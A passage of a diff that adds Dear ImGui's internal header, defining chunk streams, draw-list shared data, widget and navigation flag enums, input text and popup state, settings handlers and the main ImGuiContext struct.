>= begin() && p < end()); p = (T*)(void*)((char*)(void*)p + chunk_size(p)); if (p == (T*)(void*)((char*)end() + HDR_SZ)) return (T*)0; IM_ASSERT(p < end()); return p; } + int chunk_size(const T* p) { return ((const int*)p)[-1]; } + T* end() { return (T*)(void*)(Buf.Data + Buf.Size); } + int offset_from_ptr(const T* p) { IM_ASSERT(p >= begin() && p < end()); const ptrdiff_t off = (const char*)p - Buf.Data; return (int)off; } + T* ptr_from_offset(int off) { IM_ASSERT(off >= 4 && off < Buf.Size); return (T*)(void*)(Buf.Data + off); } + void swap(ImChunkStream& rhs) { rhs.Buf.swap(Buf); } + +}; + +//----------------------------------------------------------------------------- +// [SECTION] ImDrawList support +//----------------------------------------------------------------------------- + +// ImDrawList: Helper function to calculate a circle's segment count given its radius and a "maximum error" value. +#define IM_DRAWLIST_CIRCLE_AUTO_SEGMENT_MIN 12 +#define IM_DRAWLIST_CIRCLE_AUTO_SEGMENT_MAX 512 +#define IM_DRAWLIST_CIRCLE_AUTO_SEGMENT_CALC(_RAD,_MAXERROR) ImClamp((int)((IM_PI * 2.0f) / ImAcos(((_RAD) - (_MAXERROR)) / (_RAD))), IM_DRAWLIST_CIRCLE_AUTO_SEGMENT_MIN, IM_DRAWLIST_CIRCLE_AUTO_SEGMENT_MAX) + +// ImDrawList: You may set this to higher values (e.g. 2 or 3) to increase tessellation of fast rounded corners path. +#ifndef IM_DRAWLIST_ARCFAST_TESSELLATION_MULTIPLIER +#define IM_DRAWLIST_ARCFAST_TESSELLATION_MULTIPLIER 1 +#endif + +// Data shared between all ImDrawList instances +// You may want to create your own instance of this if you want to use ImDrawList completely without ImGui. In that case, watch out for future changes to this structure. +struct IMGUI_API ImDrawListSharedData +{ + ImVec2 TexUvWhitePixel; // UV of white pixel in the atlas + ImFont* Font; // Current/default font (optional, for simplified AddText overload) + float FontSize; // Current/default font size (optional, for simplified AddText overload) + float CurveTessellationTol; // Tessellation tolerance when using PathBezierCurveTo() + float CircleSegmentMaxError; // Number of circle segments to use per pixel of radius for AddCircle() etc + ImVec4 ClipRectFullscreen; // Value for PushClipRectFullscreen() + ImDrawListFlags InitialFlags; // Initial flags at the beginning of the frame (it is possible to alter flags on a per-drawlist basis afterwards) + + // [Internal] Lookup tables + ImVec2 ArcFastVtx[12 * IM_DRAWLIST_ARCFAST_TESSELLATION_MULTIPLIER]; // FIXME: Bake rounded corners fill/borders in atlas + ImU8 CircleSegmentCounts[64]; // Precomputed segment count for given radius (array index + 1) before we calculate it dynamically (to avoid calculation overhead) + const ImVec4* TexUvLines; // UV of anti-aliased lines in the atlas + + ImDrawListSharedData(); + void SetCircleSegmentMaxError(float max_error); +}; + +struct ImDrawDataBuilder +{ + ImVector Layers[2]; // Global layers for: regular, tooltip + + void Clear() { for (int n = 0; n < IM_ARRAYSIZE(Layers); n++) Layers[n].resize(0); } + void ClearFreeMemory() { for (int n = 0; n < IM_ARRAYSIZE(Layers); n++) Layers[n].clear(); } + IMGUI_API void FlattenIntoSingleLayer(); +}; + +//----------------------------------------------------------------------------- +// [SECTION] Widgets support: flags, enums, data structures +//----------------------------------------------------------------------------- + +// Transient per-window flags, reset at the beginning of the frame. For child window, inherited from parent on first Begin(). +// This is going to be exposed in imgui.h when stabilized enough. +enum ImGuiItemFlags_ +{ + ImGuiItemFlags_None = 0, + ImGuiItemFlags_NoTabStop = 1 << 0, // false + ImGuiItemFlags_ButtonRepeat = 1 << 1, // false // Button() will return true multiple times based on io.KeyRepeatDelay and io.KeyRepeatRate settings. + ImGuiItemFlags_Disabled = 1 << 2, // false // [BETA] Disable interactions but doesn't affect visuals yet. See github.com/ocornut/imgui/issues/211 + ImGuiItemFlags_NoNav = 1 << 3, // false + ImGuiItemFlags_NoNavDefaultFocus = 1 << 4, // false + ImGuiItemFlags_SelectableDontClosePopup = 1 << 5, // false // MenuItem/Selectable() automatically closes current Popup window + ImGuiItemFlags_MixedValue = 1 << 6, // false // [BETA] Represent a mixed/indeterminate value, generally multi-selection where values differ. Currently only supported by Checkbox() (later should support all sorts of widgets) + ImGuiItemFlags_ReadOnly = 1 << 7, // false // [ALPHA] Allow hovering interactions but underlying value is not changed. + ImGuiItemFlags_Default_ = 0 +}; + +// Storage for LastItem data +enum ImGuiItemStatusFlags_ +{ + ImGuiItemStatusFlags_None = 0, + ImGuiItemStatusFlags_HoveredRect = 1 << 0, + ImGuiItemStatusFlags_HasDisplayRect = 1 << 1, + ImGuiItemStatusFlags_Edited = 1 << 2, // Value exposed by item was edited in the current frame (should match the bool return value of most widgets) + ImGuiItemStatusFlags_ToggledSelection = 1 << 3, // Set when Selectable(), TreeNode() reports toggling a selection. We can't report "Selected" because reporting the change allows us to handle clipping with less issues. + ImGuiItemStatusFlags_ToggledOpen = 1 << 4, // Set when TreeNode() reports toggling their open state. + ImGuiItemStatusFlags_HasDeactivated = 1 << 5, // Set if the widget/group is able to provide data for the ImGuiItemStatusFlags_Deactivated flag. + ImGuiItemStatusFlags_Deactivated = 1 << 6 // Only valid if ImGuiItemStatusFlags_HasDeactivated is set. + +#ifdef IMGUI_ENABLE_TEST_ENGINE + , // [imgui_tests only] + ImGuiItemStatusFlags_Openable = 1 << 10, // + ImGuiItemStatusFlags_Opened = 1 << 11, // + ImGuiItemStatusFlags_Checkable = 1 << 12, // + ImGuiItemStatusFlags_Checked = 1 << 13 // +#endif +}; + +// Extend ImGuiButtonFlags_ +enum ImGuiButtonFlagsPrivate_ +{ + ImGuiButtonFlags_PressedOnClick = 1 << 4, // return true on click (mouse down event) + ImGuiButtonFlags_PressedOnClickRelease = 1 << 5, // [Default] return true on click + release on same item <-- this is what the majority of Button are using + ImGuiButtonFlags_PressedOnClickReleaseAnywhere = 1 << 6, // return true on click + release even if the release event is not done while hovering the item + ImGuiButtonFlags_PressedOnRelease = 1 << 7, // return true on release (default requires click+release) + ImGuiButtonFlags_PressedOnDoubleClick = 1 << 8, // return true on double-click (default requires click+release) + ImGuiButtonFlags_PressedOnDragDropHold = 1 << 9, // return true when held into while we are drag and dropping another item (used by e.g. tree nodes, collapsing headers) + ImGuiButtonFlags_Repeat = 1 << 10, // hold to repeat + ImGuiButtonFlags_FlattenChildren = 1 << 11, // allow interactions even if a child window is overlapping + ImGuiButtonFlags_AllowItemOverlap = 1 << 12, // require previous frame HoveredId to either match id or be null before being usable, use along with SetItemAllowOverlap() + ImGuiButtonFlags_DontClosePopups = 1 << 13, // disable automatically closing parent popup on press // [UNUSED] + ImGuiButtonFlags_Disabled = 1 << 14, // disable interactions + ImGuiButtonFlags_AlignTextBaseLine = 1 << 15, // vertically align button to match text baseline - ButtonEx() only // FIXME: Should be removed and handled by SmallButton(), not possible currently because of DC.CursorPosPrevLine + ImGuiButtonFlags_NoKeyModifiers = 1 << 16, // disable mouse interaction if a key modifier is held + ImGuiButtonFlags_NoHoldingActiveId = 1 << 17, // don't set ActiveId while holding the mouse (ImGuiButtonFlags_PressedOnClick only) + ImGuiButtonFlags_NoNavFocus = 1 << 18, // don't override navigation focus when activated + ImGuiButtonFlags_NoHoveredOnFocus = 1 << 19, // don't report as hovered when nav focus is on this item + ImGuiButtonFlags_PressedOnMask_ = ImGuiButtonFlags_PressedOnClick | ImGuiButtonFlags_PressedOnClickRelease | ImGuiButtonFlags_PressedOnClickReleaseAnywhere | ImGuiButtonFlags_PressedOnRelease | ImGuiButtonFlags_PressedOnDoubleClick | ImGuiButtonFlags_PressedOnDragDropHold, + ImGuiButtonFlags_PressedOnDefault_ = ImGuiButtonFlags_PressedOnClickRelease +}; + +// Extend ImGuiSliderFlags_ +enum ImGuiSliderFlagsPrivate_ +{ + ImGuiSliderFlags_Vertical = 1 << 20, // Should this slider be orientated vertically? + ImGuiSliderFlags_ReadOnly = 1 << 21 +}; + +// Extend ImGuiSelectableFlags_ +enum ImGuiSelectableFlagsPrivate_ +{ + // NB: need to be in sync with last value of ImGuiSelectableFlags_ + ImGuiSelectableFlags_NoHoldingActiveID = 1 << 20, + ImGuiSelectableFlags_SelectOnClick = 1 << 21, // Override button behavior to react on Click (default is Click+Release) + ImGuiSelectableFlags_SelectOnRelease = 1 << 22, // Override button behavior to react on Release (default is Click+Release) + ImGuiSelectableFlags_SpanAvailWidth = 1 << 23, // Span all avail width even if we declared less for layout purpose. FIXME: We may be able to remove this (added in 6251d379, 2bcafc86 for menus) + ImGuiSelectableFlags_DrawHoveredWhenHeld = 1 << 24, // Always show active when held, even is not hovered. This concept could probably be renamed/formalized somehow. + ImGuiSelectableFlags_SetNavIdOnHover = 1 << 25, // Set Nav/Focus ID on mouse hover (used by MenuItem) + ImGuiSelectableFlags_NoPadWithHalfSpacing = 1 << 26 // Disable padding each side with ItemSpacing * 0.5f +}; + +// Extend ImGuiTreeNodeFlags_ +enum ImGuiTreeNodeFlagsPrivate_ +{ + ImGuiTreeNodeFlags_ClipLabelForTrailingButton = 1 << 20 +}; + +enum ImGuiSeparatorFlags_ +{ + ImGuiSeparatorFlags_None = 0, + ImGuiSeparatorFlags_Horizontal = 1 << 0, // Axis default to current layout type, so generally Horizontal unless e.g. in a menu bar + ImGuiSeparatorFlags_Vertical = 1 << 1, + ImGuiSeparatorFlags_SpanAllColumns = 1 << 2 +}; + +enum ImGuiTextFlags_ +{ + ImGuiTextFlags_None = 0, + ImGuiTextFlags_NoWidthForLargeClippedText = 1 << 0 +}; + +enum ImGuiTooltipFlags_ +{ + ImGuiTooltipFlags_None = 0, + ImGuiTooltipFlags_OverridePreviousTooltip = 1 << 0 // Override will clear/ignore previously submitted tooltip (defaults to append) +}; + +// FIXME: this is in development, not exposed/functional as a generic feature yet. +// Horizontal/Vertical enums are fixed to 0/1 so they may be used to index ImVec2 +enum ImGuiLayoutType_ +{ + ImGuiLayoutType_Horizontal = 0, + ImGuiLayoutType_Vertical = 1 +}; + +enum ImGuiLogType +{ + ImGuiLogType_None = 0, + ImGuiLogType_TTY, + ImGuiLogType_File, + ImGuiLogType_Buffer, + ImGuiLogType_Clipboard +}; + +// X/Y enums are fixed to 0/1 so they may be used to index ImVec2 +enum ImGuiAxis +{ + ImGuiAxis_None = -1, + ImGuiAxis_X = 0, + ImGuiAxis_Y = 1 +}; + +enum ImGuiPlotType +{ + ImGuiPlotType_Lines, + ImGuiPlotType_Histogram +}; + +enum ImGuiInputSource +{ + ImGuiInputSource_None = 0, + ImGuiInputSource_Mouse, + ImGuiInputSource_Nav, + ImGuiInputSource_NavKeyboard, // Only used occasionally for storage, not tested/handled by most code + ImGuiInputSource_NavGamepad, // " + ImGuiInputSource_COUNT +}; + +// FIXME-NAV: Clarify/expose various repeat delay/rate +enum ImGuiInputReadMode +{ + ImGuiInputReadMode_Down, + ImGuiInputReadMode_Pressed, + ImGuiInputReadMode_Released, + ImGuiInputReadMode_Repeat, + ImGuiInputReadMode_RepeatSlow, + ImGuiInputReadMode_RepeatFast +}; + +enum ImGuiNavHighlightFlags_ +{ + ImGuiNavHighlightFlags_None = 0, + ImGuiNavHighlightFlags_TypeDefault = 1 << 0, + ImGuiNavHighlightFlags_TypeThin = 1 << 1, + ImGuiNavHighlightFlags_AlwaysDraw = 1 << 2, // Draw rectangular highlight if (g.NavId == id) _even_ when using the mouse. + ImGuiNavHighlightFlags_NoRounding = 1 << 3 +}; + +enum ImGuiNavDirSourceFlags_ +{ + ImGuiNavDirSourceFlags_None = 0, + ImGuiNavDirSourceFlags_Keyboard = 1 << 0, + ImGuiNavDirSourceFlags_PadDPad = 1 << 1, + ImGuiNavDirSourceFlags_PadLStick = 1 << 2 +}; + +enum ImGuiNavMoveFlags_ +{ + ImGuiNavMoveFlags_None = 0, + ImGuiNavMoveFlags_LoopX = 1 << 0, // On failed request, restart from opposite side + ImGuiNavMoveFlags_LoopY = 1 << 1, + ImGuiNavMoveFlags_WrapX = 1 << 2, // On failed request, request from opposite side one line down (when NavDir==right) or one line up (when NavDir==left) + ImGuiNavMoveFlags_WrapY = 1 << 3, // This is not super useful for provided for completeness + ImGuiNavMoveFlags_AllowCurrentNavId = 1 << 4, // Allow scoring and considering the current NavId as a move target candidate. This is used when the move source is offset (e.g. pressing PageDown actually needs to send a Up move request, if we are pressing PageDown from the bottom-most item we need to stay in place) + ImGuiNavMoveFlags_AlsoScoreVisibleSet = 1 << 5, // Store alternate result in NavMoveResultLocalVisibleSet that only comprise elements that are already fully visible. + ImGuiNavMoveFlags_ScrollToEdge = 1 << 6 +}; + +enum ImGuiNavForward +{ + ImGuiNavForward_None, + ImGuiNavForward_ForwardQueued, + ImGuiNavForward_ForwardActive +}; + +enum ImGuiNavLayer +{ + ImGuiNavLayer_Main = 0, // Main scrolling layer + ImGuiNavLayer_Menu = 1, // Menu layer (access with Alt/ImGuiNavInput_Menu) + ImGuiNavLayer_COUNT +}; + +enum ImGuiPopupPositionPolicy +{ + ImGuiPopupPositionPolicy_Default, + ImGuiPopupPositionPolicy_ComboBox, + ImGuiPopupPositionPolicy_Tooltip +}; + +struct ImGuiDataTypeTempStorage +{ + ImU8 Data[8]; // Can fit any data up to ImGuiDataType_COUNT +}; + +// Type information associated to one ImGuiDataType. Retrieve with DataTypeGetInfo(). +struct ImGuiDataTypeInfo +{ + size_t Size; // Size in bytes + const char* Name; // Short descriptive name for the type, for debugging + const char* PrintFmt; // Default printf format for the type + const char* ScanFmt; // Default scanf format for the type +}; + +// Extend ImGuiDataType_ +enum ImGuiDataTypePrivate_ +{ + ImGuiDataType_String = ImGuiDataType_COUNT + 1, + ImGuiDataType_Pointer, + ImGuiDataType_ID +}; + +// Stacked color modifier, backup of modified data so we can restore it +struct ImGuiColorMod +{ + ImGuiCol Col; + ImVec4 BackupValue; +}; + +// Stacked style modifier, backup of modified data so we can restore it. Data type inferred from the variable. +struct ImGuiStyleMod +{ + ImGuiStyleVar VarIdx; + union { int BackupInt[2]; float BackupFloat[2]; }; + ImGuiStyleMod(ImGuiStyleVar idx, int v) { VarIdx = idx; BackupInt[0] = v; } + ImGuiStyleMod(ImGuiStyleVar idx, float v) { VarIdx = idx; BackupFloat[0] = v; } + ImGuiStyleMod(ImGuiStyleVar idx, ImVec2 v) { VarIdx = idx; BackupFloat[0] = v.x; BackupFloat[1] = v.y; } +}; + +// Stacked storage data for BeginGroup()/EndGroup() +struct ImGuiGroupData +{ + ImGuiID WindowID; + ImVec2 BackupCursorPos; + ImVec2 BackupCursorMaxPos; + ImVec1 BackupIndent; + ImVec1 BackupGroupOffset; + ImVec2 BackupCurrLineSize; + float BackupCurrLineTextBaseOffset; + ImGuiID BackupActiveIdIsAlive; + bool BackupActiveIdPreviousFrameIsAlive; + bool EmitItem; +}; + +// Simple column measurement, currently used for MenuItem() only.. This is very short-sighted/throw-away code and NOT a generic helper. +struct IMGUI_API ImGuiMenuColumns +{ + float Spacing; + float Width, NextWidth; + float Pos[3], NextWidths[3]; + + ImGuiMenuColumns() { memset(this, 0, sizeof(*this)); } + void Update(int count, float spacing, bool clear); + float DeclColumns(float w0, float w1, float w2); + float CalcExtraSpace(float avail_w) const; +}; + +// Internal state of the currently focused/edited text input box +// For a given item ID, access with ImGui::GetInputTextState() +struct IMGUI_API ImGuiInputTextState +{ + ImGuiID ID; // widget id owning the text state + int CurLenW, CurLenA; // we need to maintain our buffer length in both UTF-8 and wchar format. UTF-8 length is valid even if TextA is not. + ImVector TextW; // edit buffer, we need to persist but can't guarantee the persistence of the user-provided buffer. so we copy into own buffer. + ImVector TextA; // temporary UTF8 buffer for callbacks and other operations. this is not updated in every code-path! size=capacity. + ImVector InitialTextA; // backup of end-user buffer at the time of focus (in UTF-8, unaltered) + bool TextAIsValid; // temporary UTF8 buffer is not initially valid before we make the widget active (until then we pull the data from user argument) + int BufCapacityA; // end-user buffer capacity + float ScrollX; // horizontal scrolling/offset + ImStb::STB_TexteditState Stb; // state for stb_textedit.h + float CursorAnim; // timer for cursor blink, reset on every user action so the cursor reappears immediately + bool CursorFollow; // set when we want scrolling to follow the current cursor position (not always!) + bool SelectedAllMouseLock; // after a double-click to select all, we ignore further mouse drags to update selection + bool Edited; // edited this frame + ImGuiInputTextFlags UserFlags; // Temporarily set while we call user's callback + ImGuiInputTextCallback UserCallback; // " + void* UserCallbackData; // " + + ImGuiInputTextState() { memset(this, 0, sizeof(*this)); } + void ClearText() { CurLenW = CurLenA = 0; TextW[0] = 0; TextA[0] = 0; CursorClamp(); } + void ClearFreeMemory() { TextW.clear(); TextA.clear(); InitialTextA.clear(); } + int GetUndoAvailCount() const { return Stb.undostate.undo_point; } + int GetRedoAvailCount() const { return STB_TEXTEDIT_UNDOSTATECOUNT - Stb.undostate.redo_point; } + void OnKeyPressed(int key); // Cannot be inline because we call in code in stb_textedit.h implementation + + // Cursor & Selection + void CursorAnimReset() { CursorAnim = -0.30f; } // After a user-input the cursor stays on for a while without blinking + void CursorClamp() { Stb.cursor = ImMin(Stb.cursor, CurLenW); Stb.select_start = ImMin(Stb.select_start, CurLenW); Stb.select_end = ImMin(Stb.select_end, CurLenW); } + bool HasSelection() const { return Stb.select_start != Stb.select_end; } + void ClearSelection() { Stb.select_start = Stb.select_end = Stb.cursor; } + void SelectAll() { Stb.select_start = 0; Stb.cursor = Stb.select_end = CurLenW; Stb.has_preferred_x = 0; } +}; + +// Storage for current popup stack +struct ImGuiPopupData +{ + ImGuiID PopupId; // Set on OpenPopup() + ImGuiWindow* Window; // Resolved on BeginPopup() - may stay unresolved if user never calls OpenPopup() + ImGuiWindow* SourceWindow; // Set on OpenPopup() copy of NavWindow at the time of opening the popup + int OpenFrameCount; // Set on OpenPopup() + ImGuiID OpenParentId; // Set on OpenPopup(), we need this to differentiate multiple menu sets from each others (e.g. inside menu bar vs loose menu items) + ImVec2 OpenPopupPos; // Set on OpenPopup(), preferred popup position (typically == OpenMousePos when using mouse) + ImVec2 OpenMousePos; // Set on OpenPopup(), copy of mouse position at the time of opening popup + + ImGuiPopupData() { memset(this, 0, sizeof(*this)); OpenFrameCount = -1; } +}; + +struct ImGuiNavMoveResult +{ + ImGuiWindow* Window; // Best candidate window + ImGuiID ID; // Best candidate ID + ImGuiID FocusScopeId; // Best candidate focus scope ID + float DistBox; // Best candidate box distance to current NavId + float DistCenter; // Best candidate center distance to current NavId + float DistAxial; + ImRect RectRel; // Best candidate bounding box in window relative space + + ImGuiNavMoveResult() { Clear(); } + void Clear() { Window = NULL; ID = FocusScopeId = 0; DistBox = DistCenter = DistAxial = FLT_MAX; RectRel = ImRect(); } +}; + +enum ImGuiNextWindowDataFlags_ +{ + ImGuiNextWindowDataFlags_None = 0, + ImGuiNextWindowDataFlags_HasPos = 1 << 0, + ImGuiNextWindowDataFlags_HasSize = 1 << 1, + ImGuiNextWindowDataFlags_HasContentSize = 1 << 2, + ImGuiNextWindowDataFlags_HasCollapsed = 1 << 3, + ImGuiNextWindowDataFlags_HasSizeConstraint = 1 << 4, + ImGuiNextWindowDataFlags_HasFocus = 1 << 5, + ImGuiNextWindowDataFlags_HasBgAlpha = 1 << 6, + ImGuiNextWindowDataFlags_HasScroll = 1 << 7 +}; + +// Storage for SetNexWindow** functions +struct ImGuiNextWindowData +{ + ImGuiNextWindowDataFlags Flags; + ImGuiCond PosCond; + ImGuiCond SizeCond; + ImGuiCond CollapsedCond; + ImVec2 PosVal; + ImVec2 PosPivotVal; + ImVec2 SizeVal; + ImVec2 ContentSizeVal; + ImVec2 ScrollVal; + bool CollapsedVal; + ImRect SizeConstraintRect; + ImGuiSizeCallback SizeCallback; + void* SizeCallbackUserData; + float BgAlphaVal; // Override background alpha + ImVec2 MenuBarOffsetMinVal; // *Always on* This is not exposed publicly, so we don't clear it. + + ImGuiNextWindowData() { memset(this, 0, sizeof(*this)); } + inline void ClearFlags() { Flags = ImGuiNextWindowDataFlags_None; } +}; + +enum ImGuiNextItemDataFlags_ +{ + ImGuiNextItemDataFlags_None = 0, + ImGuiNextItemDataFlags_HasWidth = 1 << 0, + ImGuiNextItemDataFlags_HasOpen = 1 << 1 +}; + +struct ImGuiNextItemData +{ + ImGuiNextItemDataFlags Flags; + float Width; // Set by SetNextItemWidth() + ImGuiID FocusScopeId; // Set by SetNextItemMultiSelectData() (!= 0 signify value has been set, so it's an alternate version of HasSelectionData, we don't use Flags for this because they are cleared too early. This is mostly used for debugging) + ImGuiCond OpenCond; + bool OpenVal; // Set by SetNextItemOpen() + + ImGuiNextItemData() { memset(this, 0, sizeof(*this)); } + inline void ClearFlags() { Flags = ImGuiNextItemDataFlags_None; } // Also cleared manually by ItemAdd()! +}; + +struct ImGuiShrinkWidthItem +{ + int Index; + float Width; +}; + +struct ImGuiPtrOrIndex +{ + void* Ptr; // Either field can be set, not both. e.g. Dock node tab bars are loose while BeginTabBar() ones are in a pool. + int Index; // Usually index in a main pool. + + ImGuiPtrOrIndex(void* ptr) { Ptr = ptr; Index = -1; } + ImGuiPtrOrIndex(int index) { Ptr = NULL; Index = index; } +}; + +//----------------------------------------------------------------------------- +// [SECTION] Columns support +//----------------------------------------------------------------------------- + +// Flags for internal's BeginColumns(). Prefix using BeginTable() nowadays! +enum ImGuiOldColumnFlags_ +{ + ImGuiOldColumnFlags_None = 0, + ImGuiOldColumnFlags_NoBorder = 1 << 0, // Disable column dividers + ImGuiOldColumnFlags_NoResize = 1 << 1, // Disable resizing columns when clicking on the dividers + ImGuiOldColumnFlags_NoPreserveWidths = 1 << 2, // Disable column width preservation when adjusting columns + ImGuiOldColumnFlags_NoForceWithinWindow = 1 << 3, // Disable forcing columns to fit within window + ImGuiOldColumnFlags_GrowParentContentsSize = 1 << 4 // (WIP) Restore pre-1.51 behavior of extending the parent window contents size but _without affecting the columns width at all_. Will eventually remove. + + // Obsolete names (will be removed) +#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS + , ImGuiColumnsFlags_None = ImGuiOldColumnFlags_None, + ImGuiColumnsFlags_NoBorder = ImGuiOldColumnFlags_NoBorder, + ImGuiColumnsFlags_NoResize = ImGuiOldColumnFlags_NoResize, + ImGuiColumnsFlags_NoPreserveWidths = ImGuiOldColumnFlags_NoPreserveWidths, + ImGuiColumnsFlags_NoForceWithinWindow = ImGuiOldColumnFlags_NoForceWithinWindow, + ImGuiColumnsFlags_GrowParentContentsSize = ImGuiOldColumnFlags_GrowParentContentsSize +#endif +}; + +struct ImGuiOldColumnData +{ + float OffsetNorm; // Column start offset, normalized 0.0 (far left) -> 1.0 (far right) + float OffsetNormBeforeResize; + ImGuiOldColumnFlags Flags; // Not exposed + ImRect ClipRect; + + ImGuiOldColumnData() { memset(this, 0, sizeof(*this)); } +}; + +struct ImGuiOldColumns +{ + ImGuiID ID; + ImGuiOldColumnFlags Flags; + bool IsFirstFrame; + bool IsBeingResized; + int Current; + int Count; + float OffMinX, OffMaxX; // Offsets from HostWorkRect.Min.x + float LineMinY, LineMaxY; + float HostCursorPosY; // Backup of CursorPos at the time of BeginColumns() + float HostCursorMaxPosX; // Backup of CursorMaxPos at the time of BeginColumns() + ImRect HostInitialClipRect; // Backup of ClipRect at the time of BeginColumns() + ImRect HostBackupClipRect; // Backup of ClipRect during PushColumnsBackground()/PopColumnsBackground() + ImRect HostBackupParentWorkRect;//Backup of WorkRect at the time of BeginColumns() + ImVector Columns; + ImDrawListSplitter Splitter; + + ImGuiOldColumns() { memset(this, 0, sizeof(*this)); } +}; + +//----------------------------------------------------------------------------- +// [SECTION] Multi-select support +//----------------------------------------------------------------------------- + +#ifdef IMGUI_HAS_MULTI_SELECT +// +#endif // #ifdef IMGUI_HAS_MULTI_SELECT + +//----------------------------------------------------------------------------- +// [SECTION] Docking support +//----------------------------------------------------------------------------- + +#ifdef IMGUI_HAS_DOCK +// +#endif // #ifdef IMGUI_HAS_DOCK + +//----------------------------------------------------------------------------- +// [SECTION] Viewport support +//----------------------------------------------------------------------------- + +#ifdef IMGUI_HAS_VIEWPORT +// +#endif // #ifdef IMGUI_HAS_VIEWPORT + +//----------------------------------------------------------------------------- +// [SECTION] Settings support +//----------------------------------------------------------------------------- + +// Windows data saved in imgui.ini file +// Because we never destroy or rename ImGuiWindowSettings, we can store the names in a separate buffer easily. +// (this is designed to be stored in a ImChunkStream buffer, with the variable-length Name following our structure) +struct ImGuiWindowSettings +{ + ImGuiID ID; + ImVec2ih Pos; + ImVec2ih Size; + bool Collapsed; + bool WantApply; // Set when loaded from .ini data (to enable merging/loading .ini data into an already running context) + + ImGuiWindowSettings() { memset(this, 0, sizeof(*this)); } + char* GetName() { return (char*)(this + 1); } +}; + +struct ImGuiSettingsHandler +{ + const char* TypeName; // Short description stored in .ini file. Disallowed characters: '[' ']' + ImGuiID TypeHash; // == ImHashStr(TypeName) + void (*ClearAllFn)(ImGuiContext* ctx, ImGuiSettingsHandler* handler); // Clear all settings data + void (*ReadInitFn)(ImGuiContext* ctx, ImGuiSettingsHandler* handler); // Read: Called before reading (in registration order) + void* (*ReadOpenFn)(ImGuiContext* ctx, ImGuiSettingsHandler* handler, const char* name); // Read: Called when entering into a new ini entry e.g. "[Window][Name]" + void (*ReadLineFn)(ImGuiContext* ctx, ImGuiSettingsHandler* handler, void* entry, const char* line); // Read: Called for every line of text within an ini entry + void (*ApplyAllFn)(ImGuiContext* ctx, ImGuiSettingsHandler* handler); // Read: Called after reading (in registration order) + void (*WriteAllFn)(ImGuiContext* ctx, ImGuiSettingsHandler* handler, ImGuiTextBuffer* out_buf); // Write: Output every entries into 'out_buf' + void* UserData; + + ImGuiSettingsHandler() { memset(this, 0, sizeof(*this)); } +}; + +//----------------------------------------------------------------------------- +// [SECTION] Metrics, Debug +//----------------------------------------------------------------------------- + +struct ImGuiMetricsConfig +{ + bool ShowWindowsRects; + bool ShowWindowsBeginOrder; + bool ShowTablesRects; + bool ShowDrawCmdMesh; + bool ShowDrawCmdBoundingBoxes; + int ShowWindowsRectsType; + int ShowTablesRectsType; + + ImGuiMetricsConfig() + { + ShowWindowsRects = false; + ShowWindowsBeginOrder = false; + ShowTablesRects = false; + ShowDrawCmdMesh = true; + ShowDrawCmdBoundingBoxes = true; + ShowWindowsRectsType = -1; + ShowTablesRectsType = -1; + } +}; + +struct IMGUI_API ImGuiStackSizes +{ + short SizeOfIDStack; + short SizeOfColorStack; + short SizeOfStyleVarStack; + short SizeOfFontStack; + short SizeOfFocusScopeStack; + short SizeOfGroupStack; + short SizeOfBeginPopupStack; + + ImGuiStackSizes() { memset(this, 0, sizeof(*this)); } + void SetToCurrentState(); + void CompareWithCurrentState(); +}; + +//----------------------------------------------------------------------------- +// [SECTION] Generic context hooks +//----------------------------------------------------------------------------- + +typedef void (*ImGuiContextHookCallback)(ImGuiContext* ctx, ImGuiContextHook* hook); +enum ImGuiContextHookType { ImGuiContextHookType_NewFramePre, ImGuiContextHookType_NewFramePost, ImGuiContextHookType_EndFramePre, ImGuiContextHookType_EndFramePost, ImGuiContextHookType_RenderPre, ImGuiContextHookType_RenderPost, ImGuiContextHookType_Shutdown }; + +struct ImGuiContextHook +{ + ImGuiContextHookType Type; + ImGuiID Owner; + ImGuiContextHookCallback Callback; + void* UserData; + + ImGuiContextHook() { memset(this, 0, sizeof(*this)); } +}; + +//----------------------------------------------------------------------------- +// [SECTION] ImGuiContext (main imgui context) +//----------------------------------------------------------------------------- + +struct ImGuiContext +{ + bool Initialized; + bool FontAtlasOwnedByContext; // IO.Fonts-> is owned by the ImGuiContext and will be destructed along with it. + ImGuiIO IO; + ImGuiStyle Style; + ImFont* Font; // (Shortcut) == FontStack.empty() ? IO.Font : FontStack.back() + float FontSize; // (Shortcut) == FontBaseSize * g.CurrentWindow->FontWindowScale == window->FontSize(). Text height for current window. + float FontBaseSize; // (Shortcut) == IO.FontGlobalScale * Font->Scale * Font->FontSize. Base text height. + ImDrawListSharedData DrawListSharedData; + double Time; + int FrameCount; + int FrameCountEnded; + int FrameCountRendered; + bool WithinFrameScope; // Set by NewFrame(), cleared by EndFrame() + bool WithinFrameScopeWithImplicitWindow; // Set by NewFrame(), cleared by EndFrame() when the implicit debug window has been pushed + bool WithinEndChild; // Set within EndChild() + bool GcCompactAll; // Request full GC + bool TestEngineHookItems; // Will call test engine hooks: ImGuiTestEngineHook_ItemAdd(), ImGuiTestEngineHook_ItemInfo(), ImGuiTestEngineHook_Log() + ImGuiID TestEngineHookIdInfo; // Will call test engine hooks: ImGuiTestEngineHook_IdInfo() from GetID() + void* TestEngine; // Test engine user data + + // Windows state + ImVector Windows; // Windows, sorted in display order, back to front + ImVector WindowsFocusOrder; // Windows, sorted in focus order, back to front. (FIXME: We could only store root windows here! Need to sort out the Docking equivalent which is RootWindowDockStop and is unfortunately a little more dynamic) + ImVector WindowsTempSortBuffer; // Temporary buffer used in EndFrame() to reorder windows so parents are kept before their child + ImVector CurrentWindowStack; + ImGuiStorage WindowsById; // Map window's ImGuiID to ImGuiWindow* + int WindowsActiveCount; // Number of unique windows submitted by frame + ImGuiWindow* CurrentWindow; // Window being drawn into + ImGuiWindow* HoveredWindow; // Window the mouse is hovering. Will typically catch mouse inputs. + ImGuiWindow* HoveredRootWindow; // == HoveredWindow ? HoveredWindow->RootWindow : NULL, merely a shortcut to avoid null test in some situation. + ImGuiWindow* HoveredWindowUnderMovingWindow; // Hovered window ignoring MovingWindow. Only set if MovingWindow is set. + ImGuiWindow* MovingWindow; // Track the window we clicked on (in order to preserve focus). The actual window that is moved is generally MovingWindow->RootWindow. + ImGuiWindow* WheelingWindow; // Track the window we started mouse-wheeling on. Until a timer elapse or mouse has moved, generally keep scrolling the same window even if during the course of scrolling the mouse ends up hovering a child window. + ImVec2 WheelingWindowRefMousePos; + float WheelingWindowTimer; + + // Item/widgets state and tracking information + ImGuiID HoveredId; // Hovered widget, filled during the frame + ImGuiID HoveredIdPreviousFrame; + bool HoveredIdAllowOverlap; + bool 